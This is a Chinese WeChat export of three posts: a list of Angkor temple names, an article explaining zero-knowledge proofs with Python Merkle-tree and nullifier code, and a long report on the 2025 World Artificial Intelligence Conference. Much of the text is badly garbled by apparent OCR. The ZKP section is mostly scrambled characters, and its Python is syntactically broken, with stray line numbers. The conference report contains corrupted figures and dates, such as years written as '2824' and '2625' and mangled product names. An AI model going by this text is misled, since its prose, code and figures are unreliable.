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发布于 2025-07-30 22:51:59（微信公众号导出记录）。
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大吴哥城(AngkorThom)
涅聚寺/麗蜻寺(NeakPean)
小昊哥(Angkor Wat)
柏威夏(PreahVihear)
(Koh Ker )
塔普偷寺 Ta Prohm
巴芳寺(Baphuon)
巴陽寺(Bayon)
lajero 女王宫(BanteaySREI)
崩密列(Beng MEALEA)
发布于 2025-07-28 20:55:50（微信公众号导出记录）。
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另一方(睡證者)證明白己知道某個秘密,但在整個交互通程中,除了“我知道這個移密“這一事實 外,不泄靠任何照於秘密本身的内客。 這项技病的精粹在的解决一個根本矛昏:如何在不交出数據的前提下,罐明数的真實性。本文链偿 最经典的理输模型人手,结合一咽您可以镜手操作的Python代碼胃验,深入割析ZKP的核心原理。 生活例[] 以下有一鼠影知的政事,速结零红批想的的若干重要阻念·盐事最早出JoJaCuc QLisquatr及网事餐 故事中·小静数现洞穴中某南魔洁严的衡門溶望·六星形入口在一街,射良闲有度法门网断·阿最想 短小春是否已知族增就,但小静很注重私通,不希望泄露难能予问服·也不想全世界知道涂有增就之事 南人分9路入口左右雨除通道骤示九A路·日路·首先,阿最在洞口外,待小静速人润内·小筝自行请择行A A· 路成E路·但问基不准扇拥小排所遇为问·特强,阿醋行入洞穴·均句随提城出A路成B路·表期着望小静由 站方底返团·假老小群值官知道赠·我很基速成,因为团坐越机所属不基同一线路·效也可以鼠門通进 半境富温中越初小群速入的方度·看面入重推以上进程·比如睡错20次:期小都葵重量全部型巧谈正殖方向 望目的氨率板小 為2分21 所以·看小都通植多次提阿层所逼的方肉逐回·所阿鲨可以推斯·小都损可键x道理道· 以下考准第三方的觀监·国使优选月黎附载温题的胰膜·预影所见的整假进程,键期所见本只有阿能城 「A1」小基花A落能因:或网最院「B1小聊能B整退回·此精片段授器由需人共误鲁强(耗露小静贝阴酸 事首商时多次输中网层将语族率入、日的次序),谈百對第三万雨言,不具就服力,即阿出箱此向第三 小静出 方避明小都知睡增號·事宽上·即受终形换成现境在网藏身劳董视布周,因角离人可第一早已候调辉拍好· 但是·若阿聚在前摄硬第·蒸接按质硬第项A碳B,用温定不再零知货·该跌择影可能足以淡第三方, 群知通踏赋·其小群超初的意旅完全相反·不运,赠码的密端学中,「硬策」以购再惠生成额赏作,期似放一枚范果已陷定好的段 ,仁款范是(由其随提硬子决定)签有疑第主人冠道·名阿最的硬带實擦是以比法速作·财组定又国瘦力零知藏旅定,因为南人又有 可核共所急造「官聪:结果·情以使册能过趣整生成器调图真使第不网,前者不會向世人老露小静知速赔號 道有另一楼位法·小群以得一次官陵已可前可着错财自己知通结赋·首不湿露·方法是-雨人一网走人河口·然接同膜目送小群治A路 走·淘有原逐折返,但得目路油团·如此·小样公特巴肩向最證明自己知道赠殖,直准有告知可脂暗·不类出模指利容非零知诺:若 效·如出·小都量法控断何人得如始扬有增硬之事
要理解ZKP,最直觀的方式是通通“阿里巴巴润穴”道四逐典故事。 場景:一個退形润穴。左右南條通道(A路,B路),深處有一扇需麦暗然才能打购的魔法門。
證明者(小静):聲械地知道网門的暗號。
湿者(阿):想璀诏此事,但不想知溢暗號。
盤明额如下:
將遗個遥程重桓20次,小静每次都成功的概率,對於一個作驿卷来催有(1/2)20(的百离分之
道個故事揭示了ZKP必须具偏的三大属性:
除了直载的故事,ZKP继立在實的数学瓣题之上、 额例1:解激剧数用题 这是身份稳额中的一值提典连用。
場景:小静想向同證时她知道密碼×。但不想池露X
公信息:一個大質数p,一個生成元g,以及小静的公输y=gxpmodp。找到x被為
是計算上困醒的。
2,挑哦:阿题碳地向小释提出一因挑:要么“公限r,要么“公開(x+r)pnodp-1”。
若间要r,小解就绘出r。闫睡grpmodp是否等於小帮一始给的C.
若网变(×+r)pmodp-1,小静就给出遗储值(我何稍之為s)。阿聚独
gspnodp 是否等龄 Ccdotypmodp. 这個家之所以安全,是因為如果小静不知道x,她只能提前测阿碳的挑為之率情。例如,如 果她弹储回答r,她就無法在被間到(x+r)時给出正確答案。每一输地作算成功的概率只有56%。 能例2:大面的哈密硬增度题
格路就叫*哈密顿琅”。找到这核一跟是NP完全周显,計算上非常困。小孵整科她知道 圖G的一個哈密畅璃。
後她對图H的信息造行“加密示诺”,阿照法视,但小蔚白己也思法再慕改。
若被問及同性,小耐就解密整因图H亚給出顾贴烈医鼠低,阿能可以验造。
若被問及哈密顿琅,小只解密横成璟的那些温,阿酸可以看到H中璀置存在一锰璟。
因為小静不知道阿酸會問账困問题,所以她焦法同時终造一惬同机的图和一個不相關的哈密顿璃。而 對同来整,冬一检他只能得到其中一個信品,永逼焦法游“H的瑞“和*H奥G的對癌“拼须 起来,谈而焦法得知原圆G的哈密顿環。
理很侵雅,但现代ZKP系(如worLdcoin、zk-RoLLups)是如何谨作的?我何通通一個完整 的Pythan宽驰来模凝其核心提制:Merkle树和 NuLLifier。 實驰率信:必裂的 Python 代碍 請在同一個资料夹中創建以下三但文件。 文件1:merkle_tree.py Python qT1useu luodut def hash_data(data): if not isinstance(data, bytes): data - data.encode['utf-8*) return hashlib.sha256(data) hexdigest() class MerkleTree: def init_(self, leaves): self.leaves = sorted([hash_data(leaf) for leaf in leaves]) def _build_tree(self, leaves): if not leaves: return [None] tree, current_level = [leaves] , leaves while len(current_level) > 1: next_Level = [] left = current_level[1] rlght = current_Level[1+1] If 1 + 1 < len{current_leve parent = hash_data(left + right) if left < right else next_level ,append (parent) tree.append (next_Level) current_level = next_level return tree det get_root(selt): relurn self.tree[-1l[@] if self.tree and self.tree[-1l else No def gct_proof(self, leaf_data): leaf_hash = hash_data( Leaf_data) Iry: index = self.leaves.index(leaf_hash) cxccpt valucError: rcturn Nonc proof = [] [ur level in range{len(self.tree] - 1): is_right = index % 2 1= θ sibling_1dx = 1ndex - 1 1f 1s_right else 1ndex + 1 31 if sibling_idx < len(self.tree[level]): proof.append(self. 32 else: proof.append(self.tree[level][index]) 33 34 index //= 2 return proof 35 def print_tree(self): 36 print(- Merkle Tree Structure ---) 37 for i, level in enumerate(self.tree): 38 print(f"Level {i} (Leaves):" if i == θ else f"Level {i}:") 6E for node in level: print(f" {node}") G
文件2:zkp_simulation.py Python import os, hashlib def hash_data(data): if not isinstance(data, bytes): data = data.encode(*utf-8′) return hashlib.sha256(data) .hexdigest() class Identity: def init(self, name) : self.name = name self.secret = hash_data(os.urandom(32)) self.commitment = hash_data(self.secret) 文件3:technical_deep_dive.py(主通行文件) Python from merkle_tree import MerkleTree, hash_data from zkp_simulation import Identity # PART l: System Initialization print("="*8θ+"\nPART1:如何徙每個人的秘密,計算出「P口的總验證碼(MerkleF alice,bob, charlie, david = Identity("Alice"), Identity("Bob"), Ident. identities = [alice, bob, charlie, david] print("..·系統中的4位合法用户及其數撼 for id in identities: print(f"[{id.name}]\n-私密 secret:{id.secret}\n·公 commitme 10 tree = MerkleTree([id.secret for id in identities]) tree.print_tree() merkle_root = tree.get_root() 2 print(f"\n===>最懿計算出的F口魏驗證碼(MerkleRoot)是:{merkle_root}\n 14 # PART 2 & 2.5: Membership Proof print("="*8θ+"\nPART2:成員資格證明(不同的路徨,相同的山頂)\n"+"=*8θ) for user in [alice, bob]: 16 17 user_secret = user.secret 18 user_proof_path = tree.get_proof(user_secret) print(f"---{user.name}的證明退程---") 19 print(f"{user.name} 的私密 secret:{user_secret}") 20 21 current_hash = hash_data(user_secret) 2 2 print(f"step θ({user.name}):起始哈希值:{current_hash[:1o]}...") 23 for i, sibling_hash in enumerate(user_proof_path): 2 4 print(f"step [i+l} ({user.name}):都居 {sibling_hash[:lo]}... 25 current_hash = hash_data(current_hash + sibling_hash) if curre 2 6 2 7 print(f"{user.name}的最計算果:{current_hash}") 28 print(f"结果是否匹配? ==> {current_hash == merkle_root}\n") 2 9 30 # PART 3: Nullifier Logic print("="*8θ+"\nPART 3:如何實現「一次性领」(NulLifier)\n"+"="*80) used_nullifiers_db = set() scenarios=[("VoTE_A",“第一次投票"),("VoTE_A",“再次投票"),("GET_GIFT for action_id, desc in scenarios: print(f".-场景:Alice {desc}({action_id})-.-") 36 nullifier = hash_data(alice.secret + action_id) 3 7 print(f"===>計算出的'领粪證’(Nullifier):{nullifier}") 38 39 if nullifier in used_nullifiers_db: print(f"植查記薄:{nullifier[:l0]}...已存在。") 40 print(“结果:拒!此證已被使用。\n") 4 1 42 else: print(f"检查記簿:{nullifier[:l0]}...是全新的。") 43 print("果:接受!將其加入記錄簿。\n") 4 4 used_nullifiers_db.add(nullifier) 45 print(f"最终的記錄簿:{used_nullifiers_db}") 通行奥解镇 在終端中運行pythontechnical_deep_dive.py,將看到一個群的計算日,它展示了:
群體的、公闻的Merkle Root。
辑,最終都得到了與公開的MerkleRoot完全相同的結果,徙而證明了自己的成員資格,但 没有暴露自己是。
发布于 2025-07-27 00:12:52（微信公众号导出记录）。
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以“智能时代同球共济”为主题的2025年世界人工智能大会(WAIC)标志着人工智能领域的
实战场,商业可行性、产业深应融合以及国家战略需求已成为驱动议程的核心力量。大会股 引了超过800家企业,展出了超过3000项展品,规模创下历史新高1。然而,“同球共济”的 主题之下,是中美科技竞争日益加副的严酸现实。这一地缘政治背景已成为中国在关键领域 寻求突破的强大催化剂,推动其在国产硬件、垂直应用和治理框架方面加速创新。本次大会 的关键进展包括:旨在突破技术封锁的硬件产品首次亮相,如华为发布的异384超级节点计 算架构3;L4级自动驾驶出租车(Robotaxi)获得商业运营许可,标志着该技术跨越了商 业化的关键门槛“:以及《人工智能全球治理行动计划》的发布,这不仅是一份技术文件, 更是中国科技外交的量要支柱”。本报告将对WAIC2625进行全面解构,为工程师、产品经 理、投资者和政策制定者提供一份深人的简报。
本屈WAIC的核心张力,在于对技术突破的狂热庆祝与对治理和安全风险的深切忧虑并行不 情。这种二元性贯穿了整个大会议程,揭示了人工智能发展进入深水区的复杂性。
新技术是首次在中国乃至全球亮相,涵盖了40多个大模型、50款智能终端和60款智能机器 人,充分展示了行业的蓬勒生机”。然而,另一方面,高层决策者和思想额袖的发言却充满 了审慎和警示。中国国务院总理李强在开幕式的主旨演讲中明确指出,人工智能带来的风险 与挑战已引起广泛关注,如何在发展与安全之间取得平衡,追切需要全社会形成共识。他 强调,必须权衡人工智能发展与安全风险,并呼呼建立全球共识。 这一观点得到了全球顶尖科学家的呼应。2018年图灵奖和2824年诺贝尔奖得主杰弗里·辛额 (GeoffreyHinton)以其广为流传的“虎惠*比喻生动地描绘了这一困境。他将当前的人 工智能比作一只可爱的宠物虎惠,但警告说,当它长大后,如果未能被正确训练和有效控 制,就可能演变成一种危险的存在1"。辛顿进一步补充道,尽管各国在防止人工智能温用方 面末必能时刻保持合作,但在研究如何防止人工智能脱离人类控制这一根本性问题上,图际 合作是必要且可能实现的"。 国际社会的声音同样强调了全球协作的紧迫性。联合国秘书长安东尼奥·古特密斯通过视频致 辞表示,人工智能治理将是“对国际合作的决定性考验”。法国人工智能特使安妮·布夫罗 (AnneBouverot)也强调了采取全球行动的“迫切需要”“。为了将学术探讨推向新的深 度,本届大会首次引入了“数学质问、模型质问、科学质问”的三问机制,并首次将“治理标 准、知识产权、开源文化”这三大要素纳入产业实践框架,试图在理论与实践之间搭建桥 梁1 从这些高层对话和机制创新中可以清晰地看到,人工智能治理已不再是单纯的伦理议题,而 是演变为一个具有战略意义的竞争领域。中国在本届大会上发布《人工智能全球治理行动计 划》并宣布推动建立一个由中国主导的国际人工智能合作机构,正是其积极望造全球规则和 标准的具体行动,这一举措与报道中美回采取放松国内监管以刺激私营部门创新的策略形 成了鲜明对比11。这种差异化的路径导致了一个新动态的出现:全球治理标准的制定本身成 为了一种软实力和竞争优势的体现。中国通过倡导“同球共济“和与发展中国家分享技术红 利,意在构建一个更广泛的合作联盟,这可能催生一个与美国主导的技术集团并行发展的、 具有不同治理理念的全球AI生态圈”。对于全球企业和国家而言,这意味着未来必须在两种 不同的治理哲学之间进行导航和选择。
本届大会的展馆布局-—"AI能力走厢”——并非随意的空间规划,而是对当前人工智能产业结构 和价值链的精心映射。通过系统性地审视四个主题展馆,我们可以清晰地看到技术从诞生到 应用的完整路径。
歌、亚马逊云科技(AWS)、思科等国际巨头与阿里巴巴、华为、科大讯飞、商汤科技 等中国领军企业同台竞技,展示了各自的foundationalmodels(基础大模 型)、高性能计算芯片和数据平台1。此馆代表了驱动整个AI产业发展的核心动力。
动、西门子、特斯拉、吉利、理想汽车等企业展示了AI在电信、工业制造、汽车等领 域的真实世界集成案例。这里是验证技术商业价值、推动实体经济转型的关键环节。
机交互方式亲密接的机会。从字树科技(Unitree)、傅利叶智能(Fourier Intell1gence)的交互式机器人,到备受关注的特斯拉人形机器人(Tesla Bot),再到Xreal、灵伴科技的智能眼镜,共同描绘了一个智能设备无缝融入日常生 活的末来图景
求。这里举办了项目对接会、投资者私人会议,发布了超过38个场景化产品和280多 份采购清单,并设有创新舞台进行现场溃示和开源交流,为初创企业和投资者提供了高 效的合作平台 这四个展馆的布局揭示了人工智能产业的成熟过程和内在逻辑,它清晰地呈现了一个从基础 研究到商业闭环的价值传递漏斗。H1馆的“核心技术“为产业提供了基础工具;这些工具在H2 馆的“产业应用”中被集成和部警;产业应用的成果显终被封装在H3馆的“智能终端”中,以产 品形态服务于最终用户;而H4馆的“通用链接“则为整个循环注入了资本和商业动力,确保其 可持续运转。 这种结构化的布局是中国产业政策在物理空间上的投射,其战略意图在于构建一个自我强 化、闭环运转的生态系统。它旨在无缝连接创新的源头(H1)、应用的高地(H2)、产品的 形态(H3)和商业的实现(H4)。这一战略思路也体现在WAIC系统性推出的四大子品牌中: WAICFuture Tech(未来技术,如造创新资源匹配)、WAICCONNECT(产业链接,解 销真实商业需求)、WAICUP!(思想引领,共创时代思想坐标)以及WAICYoung(青年 善英,激发青年科技潜力)”。这四大品牌共同构成了一个围绕“创新瓣化、产业对接、思想 引额、青年培荠”的完整闭环,进一步强化了WAIC作为产业共创平台的功能。
WAIC2025传递出的一个核心信号是,行业的战略重心正在从单纯构温更大、更强的基础模 型,转向精心打造能够支撑模型开发、部署和商业化的完整生态系统。 这一转变的背后,有着深刻的顶层设计考量。大会期间,习近平总书记于今年4月考察上海 “模速空间”(ModelSpeed)的事迹被重点提及。他要求上海总结成功经验,以大模型产 业生态体系孵化人工智能产业,并力争在人工智能发展和治理方面走在前列1。这表明,生 态系统建设已被提升至国家战略高度。 在实践层面,像“模力社区”(MoliCommunity)这样的创新转体正发挥着关键作用。它们 致力于打通AI落地的“最后一公里”,通过精准对接,帮助大模型开发者找到真实的应用场 景,并根据具体需求进行微调,从而加速技术的商业化进程"。这种填式的成功,离不开上 海坚实的产业基础。2025年第一季度,上海市人工智能产业规模已超过1180亿元人民币,其 人才储备占全国总数的三分之一,为生态系统的荣提供了肥沃的土壤。 在面临如芯片限制等外部压力的背景下,构建一个弧大的国内生态系统成为一项至关重要的 防御性战略。一个健康的生态系统能够促进内部循环和自给自足:本地数据溢养本地模型, 本地模型应用于本地产业,所产生的收入又反过来资助本地的研发和人才培养。像“模速空 间“和”模力社区“这样的政策工具,正是为了加遗这一良性循环而设计的。 因此,未来人工智能领域的意争优势,将不再仅仅取决于拥有显先进的单一模型,而更多地 取决于能否掌控一个最具活力的生态系统。对于企业和投资者而言,成功的关键在于深度融 入这些生态系统,而非仅仅销售一个孤立的产品或技术。能否在生态中找到自已的定位,并 与其他参与者协同发展,将成为决定其成败的核心要案。
本部分为技术领导者和从业人员提供可操作的情报,重点分析WAIC所提示的关键技术转变和 核心工程挑战。
在中美科技竞争的背景下,硬件,特别是高性能计算芯片,已成为双方博奔的焦点。WAIC 2025清晰地展示了中国在面临外部限制时所采取的战略对策--通过系统级架构创新来弥补单 点技术的差距。 华为在本届大会上首次线下实物展示其昇腾384超级节点计算架构(Supernode384),成 为全场眼目的焦点3。该架构是目前业界最大规模的384卡高速总线互联系统,集成了384颗 通信瓶颈”。传统架构依赖以太网进行节点间通信,延退较高。而Supernode384采用了全 新的高造总线互联技术,将单跳通信时延从2微秒降低至290纳秒,实现了十倍的性能提升, 使得整个集群能够像一台超级计算机一样协同工作3。 分析师普遍将该系统定位为英伟达(NVIDIA)顶级产品GB2B6NVL72的直接竞争者。感管 单颖异腾910C芯片的性能可能不及英伟达最新的B200芯片,但华为通过“以量补质”和架构 优化实现了超越。Supernode 384集成了384颗芯片,远越GB280 NVL72的72骤,并通过 卓越的系统级设计,在处理特定AI工作负载时展现出强大的意争力21。据华为云CE0张平安 造露,该系统已在华为云内部警并投入运营” 这一发展提示了一个深刻的超势:一个与主流不同的、新的计算范式正在形成。美国的技术 制意外地成为了中国硬件战略转型的催化剂。由于无法获得最顶尖的单个处理器,华为 等企业被迫将创新集点从芯片本身转移到系统架构层面。这并非简单的权宜之计,而可能是
对于工程师而言,这意味着未来的技能塞求将发生重大变化。仅仅精通CUDA编程已不再足 够。对分布式系统、高速互连技术、异构集群的软件优化以及系统级性能调优的深刻理解, 将变得至关重要。未来的AI计算世界可能不再是单一技术标准主导的,而是由两种或多种不 同架构哲学并存的多元化格局。掌握在不同硬件生态系统上进行高效开发和优化的能力,将 成为工程师的核心竞争力。
WAIC2025展示的大模型新品,清晰地勾勒出行业从追求通用性向深化专业性、拓展多模态 能力和攻坚深度推理的演进踏径。 (华为昇腾平台)训练,其核心亮点是“深度推理“能力3。在现场演示和发布会中,星火X1 在解决高等数学、奥林匹克竞赛等复杂问题时,不仅能给出正确答案,还能详细闻述解题思 路和步骤,其过程更接近人类的“恒思老”模式2"。这标志着模型能力从笛单的信息检索和文 本生成,向真正的逻辑分析和问翘解决迈进。根据官方数据,星火X1在中文数学任务上的表 现已全面领先,甚至在部分测试中超越了0penAI的o1模型2。 与此同时,其他厂商也展示了其在模型应用和生态构建上的新进展。MiniMax公司展出了一 整套AI原生产品矩阵,包括MiniMaxAgent、海据AI等,强调通过产品生态为用户提供完 整的智能体验。月之暗面(StepStar)则宣布将发布一歌多模态旗舰模型,并与合作伙 伴共同展示在智能终端、金融服务等场景下的Agent新产品2T。此外,以检索增强生成 (Retrieval-Augmented Generation,RAG)为代表的技术正被广泛应用,通过结合 外部知识库来构建定制化的知识管理和智能提索解决方案,提高模型回答的准确性和可信 度20 这些趋势共同指向一个结论:“深度推理”正在成为大模型竞争的下一个前沿。行业已经认识 到,仅靠扩大模型参数和数据量所带来的性能提升已开始出现边际递减。要在科学发现、工 程设计、金融风控等高价值领域取得突破,模型必须具备更强的逻输推理和复杂问题解决能 力。 对于工程师而言,这意味着技术栈需要再次升级。工作重点将从大规模无监督预训练,转向 更为复杂的训练方法。例如,基于人类反馈的弧化学习(RLHF)、过程监督(Process Supervision,即对模型的推理过程而非最终结果进行奖励),以及构建能够进行自我反思 和验证的模型架构,都将成为核心技术方向。掌握这些先进的训练方法论,将是开发下一代 高性能AI系统的关键。
本届大会上,具身智能(Embodied IntelLigence)从一个前沿概念,大步迈向了商业化 应用的门橙,展示了AI技术与物理世界融合的巨大潜力。 人形机器人成为展会当之无愧的“顶流”。Agibot公司发布了其面向工业制造、物流和零售服 务的Lingx1X2-Pro机器人。宇树科技(Unitree)和傅利叶智能(Fourier 识:2625年被普遍认为是"人形机器人商业化元年”3。 为了更直观地展示具导智能的进步,大会特设的“WAIC·里"主题街区成为一个生动的试验 场。在这里,机器人不再是冰冷的机器,而是化易为能够完成高精度任务的“数字伙伴”:它 们挥基泼墨、击鼓奏乐、烹饪用烧,甚至能精纽地影开鸡蛋”。这些场景不仅是技术的兹 技,更重要的是展示了机器人在认知、运动和交互智能方面的选代式进步。 这一轮机器人技术的飞跃,其背后是模拟与现实的深度融合。技术的进步不仅仅源于硬件的 改良,更关键的驱动力来自于先进AI模型与高保真模拟环境(即数字李生)的结合。以英伟 达(NVIDIA)在全球GTC大会上展示的技术趋势为例(可作为全球行业风向标),其正大力 推广NVIDIACosmos等平台,旨在让机器人在虚拟世界中进行大规模、低成本的训练,学 习告种技能,然后再将训练好的模型部备到物理机器人上”,这种“模拟训练、现实部著“的 范式,极大地缩短了研发周期,降低了试错成本,是准动具导智能快速发展的核心方法论。 这种技术范式的转变,对工程师的技能组合提出了全新的要求。机器人工程已不再是传统意 义上的机械工程或自动化,而是融合了机器学习、计算机视觉、强化学习、模拟物理学和控 制理论的多学科交叉领域。未来的机器人工程师,不仅需要懂得硬件设计,更需要精通如何 构建和利用数字率生环境,以及如何在高保真模拟器中高效地训练具身智能体。掌握这一整 套融合技能,将是投身这场物理世界智能化革命的入场券。
在WAIC2825上,开源被提升到了前所未有的战略高度,成为中国应对外部挑战、构建全球 影响力的关键工具, 中国国务院总理李强在主旨演训中明确表示,中国将“积极推动”人工智能的开源发展,并虑 意与其他国家,特别是发展中国家,分享其技术进步。他同时警告,技术垄断、整垒和封 锁,将使人工暂能成为少数国家和企业的“专利品”,这与全球共同发展的福神背道而驰。 这一立场在大会发布的《人工智能全球治理行动计划》中得到了系统性的菌述。该计划明确 呼呼,要打造跨国开源社区和安全可靠的开源平台,推动基础资源开放共享,以降低技术创 新和应用门橙‘。官方表态中还特别提到,2825年中国开源大模型的崛起,为全球社会,尤 其是爱展中国家,带来了获取和拥抱AI发展红利的幕望“。 将这些信号综合分析,可以发现中国对开源的倡导智后有多重战略考量。首先,开源是加速 国内创新的有效途径。通过汇集全社会的力量,可以證免重复投入,加快技术选代。其次, 开源是建立国际同盟、输出影响力的地缴政治工具、通过向”全球南方”国家提供并源技术, 中国可以构建一个以其技术标准为基础的、友好的国际生态系统。最关键的是,在面临专有 软硬件(尤其是美国技术)限制的背景下,开源成为一种有效的规避策略。如果全球开发者 社区能够广泛采用那些在中国围产硬件上运行良好的开源模型和标准,那么美国技术封锁所 造成的“卡脖子“效应将被大大削弱。 对于工程师而言,这一战略转向意味着职业发展的方向需要做出相应调整。参与和贡献主流 的开源AI项目,已不再仅仅是一种技术情怀或良好实践,而是顺应产业大势的战略选择。深 刻理解全球开源社区的运作模式,熟练掌握如何基于主流开源模型进行微调、优化和部零, 将成为一项不可或缺的核心技能。在未来,工程师的价值不仅体现在创造新技术,也体理在
本部分聚焦于将前沿技术转化为具备市场价值的产品,为产品领导者提供一份源自WAIC前线 的实战指南。
WAIC2025展示了大量AI应用,其中显引人注目的例不再是通用的聊天机器人,而是深入 特定行业、解决核心痛点的垂直解决方案。这些案例为产品经理指明了最具潜力的产品方 向。 成功案例剖析:
(卓越人工智能引领者奖)。该系统通过计算机视觉技术,对比其积累的数十亿级正品 样本数据库,能够以高达99.9999%的吻合度辅助整别师判断运动硅、暑侈品等潮流商 品的真伪。它精准地解决了线上潮流消费中用户最核心的信任痛点,是一个典型的技术 驱动商业模式创新的案例9
SAIL奖T0P30榜单。该平台基于其医疗大模型,为超过8亿用户和数千家医疗机构提 供从医疗科普问答、疾病诊疗辅助到健康管理的全面服务11。它构建了一个覆盖“机 构-医生-用户"的三维服务体系,展示了AI在复杂且高度管制的医疗领域实现大规模 应用的可能性。
海量行业知识库,精准理解客户意图,励力金融机构实现数字化转型和价值重构。
其AI生态系统覆盖了从产业牲最前端到消费终端的全过程:在智慧牧场,AI赋能奶牛 的繁育和健康监测;在生产端,L5级无人驾驶系统和“千眼”视觉质检系统确保产品质 量;在供应链端,AI将整体效率提升了48%;在消费端,AI营养师和AIGC(AI生成内 客)玩偶为用户提供个性化的育儿指导和服务33。
实现系统性变革和智娱转型。上海报业集团在论坛上启动了“AI智媒引航计划”,显示 出传统行业拥抱AI的决心和行动力。 这些成功的案例揭示了一个共同的模式:“全栈式”垂直解决方案正在胜出。显受赞和显具 商业价值的应用,都不是对通用大模型API的简单调用或浅层封装。相反,它们是深度整合了 专有数据、领域知识、专用模型和精心设计的用户体验的端到端解决方案。这种模式能够在
对于产品经理而言,这意味着巨大的机遇在于选择一个高价值的重直领域,并深耕下去。战 略思考的重点应从单个功能点的开发,转向设计和构建AI原生的完整工作流。产品经理需要 回答以下核心问题:我们能利用哪些独特的、专有的数据资源?我们如何为特定任务微调或 训练一个专用模型?我们正在彻底改造的端到端用户旅程是怎样的?回答好这些问题,是打 造下一个现象级AI产品的关键。 表1:WAIC2025产业应用展示-垂直领域剖析 关提成功要素(数据/模型/体验) 公司/产品 垂直 解决的商业问题 垂互 AI 应用 行业 期粒度图像识别 得物 ApP/ 数据:数十亿级正品查验样本 零 解决线上潮流单品 的真伪慎任危机, 再模型:专有组粒度愿知模型体 库模型:专有细粒度图知楼整体 与比对 售/ 人工智能查验 的真份信任意机, 降低交易摩擦 整真 系统 验:快速、权或的些别报告 鉴真 数据:海量医行数据与如识图 医疗 蚂蚊集团 医行大模型、多 为亿圾用户提供善 模型:自研可信医疗大模显体 健康 全流控医疗健 模座交互 惠、全天候的健康 验:覆盖诊前、诊中、诊后的无绩 康管家平台 咨询与管理服务 服务 飞B/全产 智慧养殖、智能 提升全整条效率, 数据:从牧场到餐桌的全链路数 农 露横整:多个场景的专用AI算 业/ 制造、智慧供应 保题产品品质、握 业销AI生态 供增值服务 法体验:端到端的品质承话与个 食品 链、AI晋养师 性化关怀 数据:金融行业知识库棋型:霍 要 恒纪元/大 任务驱动型对语 提升金融服务营销 直领坛大语言模型体验:精准理 模整暂能应用 机磨人 效率、咨询质量和 服务 矩阵 客户体验 解复杂语义与多轮对语 数据:媒体历史内容数提模 上海报业集团 智指内容生产、 应对数字化冲击, 媒体 / AI 智媒引 分发与运营 提升主流娱体的生 整:文本生成与用户面像模型体 产力和感编力 验:为记者和读者提供暂能工具 航计划 暂新座舱、自动 理想汽车、吉 数据:淘呈驾驶与座舱交互数 提升驾球安全性与 汽车 露型:图知、决窦与交互楼 利 座粮交互体验,打 整体验:更安全、更智、更个 造差界化卖点 性化的出行
WAIC2025见证了两个关键技术领域跨越了从“末来概念“到“商业现实“的引爆点:自动驾 驶出行服务和AI智能体(AI Agent)。 自动驾驶出行服务(Robotaxi)的商业化落地是一个里程碑事件。大会期间,上海市政府向 商业化Robotaxi服务的许可。这与以往的测试牌照有着本质区别,它意味着这些公司的服 务可以正式向公众开放并收费,标志着一个全新商业模式的诞生,文远知行与汽车制造商奇 瑞集团合作,推出了基于量产车型打造的前装L4级Robotaxi,这展示了其技术不仅成熟, 而且具备了规模化部署的供应链基础‘。小马智行则凭借此许可,成为唯一一家在中国四大
了其行业领先地位 AI智能体(AIAgent)则正从学术研究迅速走向产品化。AIAgent是指能够自主理解目 标、制定计划、执行任务并适应环境的AI系统。MiniMax公司在大会上正式推出了 其"MiniMax Agent*产品。月之暗面(Step Star)也宣布正在为金融和智能终端等特 定场景开发Agent产品27。放眼全球,这一超势同样明显。NVIDIA的GTC大会议程中,充 满了关于AI Agent在企业MLOps、网络安全和客户体验中应用的议题,预示著Agent将成 为企业软件的下一个重要形态 分析这些引爆点可以发现一个深层逻辑:政府背书正在成为终极的产品发布会。在WAIC这样 具有全球影响力的平台上宣布颁发Robotaxi商业化许可,其意义远超一次普通的监管审批。 这实际上是一场由国家支持的、声势浩大的“产品发布”,它向整个市场一—包括合作伙伴、投 资者和公众一—传递了一个强有力的信号:这项技术是安全的、可靠的,并且符合国家战略发 展方向。这种背书极大地降低了相关企业的商业风险,为其后续的规模化扩张销平了道路。 对于产品经理面言,这带来了深刻的启示。尤其对于那些身处受严格监管或具有战略意义的 行业(如自动驾驻、金融、医疗)的产品经理来说,产品路线图必须包含一条并行的“政策与 法规”轨迹。产品的成功,不再仅仅取决于技术是否领先、体验是否出色,更在于其能否与围 家的战略目标同频共据,并获得关键的政府支持。在许多领域,这种“政策准入"本身就是一 种最强大的竞争壁垒和差异化优势。产品经理需要具备新的能力,即理解宏观政策、与监管 机构沟通,并将这些外部因素内化为产品战略的一部分。
“智能终巍展馆(H3)和*WAICC1tyWalk"城市体验项目,共同揭示了AI原生产品设计 的末来方向:智能将走出屏幕,无缝地融入物理环境,其交互方式也正发生着根本性的变 革. 交互范式的演变:
幕7。Rok1d与支付宝合作的智能眼镜,更是实现了通过语音直接唤醒并确认支付的 全流程,用户全程无需掏出手机3。这代表了从“手动操作”到“语音驱动“的转变。
物,扮滨着环境中的“股务员”角色”。金山办公推出的"WPS电话亭”则能根据用户的
而是能够盛知环境和用户盒图,提供主动服务。
法和击鼓的机器人则融入了深厚的文化元素。这种设计超越了纯粹的功能性,旨在与 用户建立情感和文化层面的连接,让技术变得更有温度。 这些新兴的智能终端产品,共同指向了一个核心的设计理念转变:从“指令-响应”模式,转向 “意图-预判“模式。传统的人机交互是事务性的:用户下达一个明确的指令,系统执行并返回
的、潜在的“意图”,预测用户的下一步需求,并在后台主动地、甚至是在用户无感知的情况 下完成任务。全球范围内的趋势也印证了这一点,业界正努力打造“隐形AI”(invisible AI),让强大的智能像空气一样,无形但又不可或缺地增强用户的生活和工作3。 这对产品经理提出了全新的姚战和要求。用户体验(UX)和用户界面(UI)的设计范式正在 被重望。设计的焦点必须从界面元素转向对“情境”(Context)的深刻理解。产品经理需要 思考:用户当前处于什么环境?他/她的潜在目标是什么?我们可以通过哪些隐性线索来推断 其意图?如何在提供主动股务的同时,建立用户的信任,避免打扰和冒犯?如何设计一个让 用户感觉一切是在掌控,同时又能享受AI带来的便利的系统?解决这些问题,是设计出真正 成功的AI原生产品的核心所在。
本部分为投资者提供一份战略指南,将WAIC2825释故的市场信号转化为可操作的投资论 点,旨在识别并抓住下一波人工智能增长机遇。
通过对大会展示内容和讨论热点的综合分析,可以识别出未来几年最具增长潜力的几个核心 投资赛道。 热门赛道详解:
人形机器人(如Agibot、宇树科技)从展品变为即将商业化的产品3,以及自动驾驶 (如文远知行、小马智行)获得关键的商业化许可“,都表明AI与物理世界的融合正 在跨越临界点。这个赛道涵盖了从核心传感器、运动控制系统到上层决策模型的完整产 业链,市场空间巨大。
